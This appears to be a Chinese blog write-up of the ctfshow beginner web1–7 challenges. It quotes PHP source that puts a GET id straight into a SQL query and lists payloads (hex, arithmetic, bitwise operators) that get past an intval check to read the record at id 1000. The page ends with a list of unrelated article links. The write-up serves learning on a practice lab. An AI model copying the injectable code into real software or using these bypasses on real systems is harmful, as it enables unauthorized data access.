当前位置: 首页 > news >正文

【CTFWP】ctfshow-萌新-web1-7

文章目录

  • 题目介绍
  • 题目分析
  • payload
  • 本地测评代码


题目介绍

ctfshow-萌新计划-web1-web7

<html>
<head><title>ctf.show萌新计划web1</title><meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){$id = $_GET['id'];# 判断id的值是否大于999if(intval($id) > 999){# id 大于 999 直接退出并返回错误die("id error");}else{# id 小于 999 拼接sql语句$sql = "select * from article where id = $id order by id limit 1 ";echo "执行的sql为:$sql<br>";# 执行sql 语句$result = $conn->query($sql);# 判断有没有查询结果if ($result->num_rows > 0) {# 如果有结果,获取结果对象的值$rowwhile($row = $result->fetch_assoc()) {echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";}}# 关闭数据库连接$conn->close();}}else{highlight_file(__FILE__);
}?>
</body>
<!-- flag in id = 1000 -->
</html>

题目分析

  • 执行的sql为:select * from article where id = 1 order by id limit 1

  • 当id等于1000时,输出flag。

  • 但是get提交的参数id 大于 999 直接退出并返回错误

  • id 小于 999 拼接sql语句,并执行

payload

?id=2*500

?id=500/0.5

?id=round(999.9)

?id=power(10,3)

?id=‘1000%’

?id=!!1000

?id=0x3E8

?id=/**/1000

?id=~~1000

?id=0000|1000

?id=0000%5E1000

?id=‘1000’

?id=0b1111101000

……

本地测评代码

<?php
if(isset($_GET['id'])){$id = $_GET['id'];if(intval($id) > 999){echo "大于999,$id<br>";$a = intval($id);echo "大于999,$a<br>";die("id error");}else{echo "小于999,$id<br>";$a = intval($id);echo "小于999,$a<br>";}
}else{highlight_file(__FILE__);
}
?>

此后如竟没有炬火,我便是唯一的光。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • html+css前端作业 王者荣耀官网6个页面无js
  • iOS应用冷启动优化,可以做哪些事情
  • ArcGIS Pro SDK (九)几何 12 多面体
  • 决策树的概念
  • 挖掘IPython的深度:%%dhist命令的历史探索之旅
  • Chapter17 表面着色器——Shader入门精要学习
  • keystone学习小结2
  • 深入理解Linux网络(四):TCP接收阻塞
  • 前端 Tips
  • pip安装出现的问题之SSL,一大堆WARNING问题
  • OD C卷 - 数据单元的变量替换
  • 初级java每日一道面试题-2024年7月23日-Iterator和ListIterator有什么区别?
  • C++五子棋(未做完,但能玩,而且还不错)
  • Hi3751V560_SELinux
  • Error和Exception区别
  • 【编码】-360实习笔试编程题(二)-2016.03.29
  • 【跃迁之路】【519天】程序员高效学习方法论探索系列(实验阶段276-2018.07.09)...
  • co.js - 让异步代码同步化
  • es6(二):字符串的扩展
  • es6--symbol
  • Fastjson的基本使用方法大全
  • JavaScript设计模式与开发实践系列之策略模式
  • Linux后台研发超实用命令总结
  • Node项目之评分系统(二)- 数据库设计
  • Puppeteer:浏览器控制器
  • Python进阶细节
  • TypeScript实现数据结构(一)栈,队列,链表
  • 闭包--闭包作用之保存(一)
  • 不上全站https的网站你们就等着被恶心死吧
  • 成为一名优秀的Developer的书单
  • 高性能JavaScript阅读简记(三)
  • 机器学习 vs. 深度学习
  • 基于Volley网络库实现加载多种网络图片(包括GIF动态图片、圆形图片、普通图片)...
  • 快速构建spring-cloud+sleuth+rabbit+ zipkin+es+kibana+grafana日志跟踪平台
  • 用Canvas画一棵二叉树
  • PostgreSQL 快速给指定表每个字段创建索引 - 1
  • ​经​纬​恒​润​二​面​​三​七​互​娱​一​面​​元​象​二​面​
  • #LLM入门|Prompt#1.8_聊天机器人_Chatbot
  • (1)(1.9) MSP (version 4.2)
  • (13)[Xamarin.Android] 不同分辨率下的图片使用概论
  • (2024)docker-compose实战 (9)部署多项目环境(LAMP+react+vue+redis+mysql+nginx)
  • (32位汇编 五)mov/add/sub/and/or/xor/not
  • (c语言)strcpy函数用法
  • (poj1.3.2)1791(构造法模拟)
  • (阿里云万网)-域名注册购买实名流程
  • (附源码)spring boot火车票售卖系统 毕业设计 211004
  • (附源码)ssm基于微信小程序的疫苗管理系统 毕业设计 092354
  • (附源码)ssm教材管理系统 毕业设计 011229
  • (四)React组件、useState、组件样式
  • (转) SpringBoot:使用spring-boot-devtools进行热部署以及不生效的问题解决
  • (转)Sql Server 保留几位小数的两种做法
  • (转载)hibernate缓存
  • (转载)深入super,看Python如何解决钻石继承难题
  • .NET 8 编写 LiteDB vs SQLite 数据库 CRUD 接口性能测试(准备篇)
  • .net core Redis 使用有序集合实现延迟队列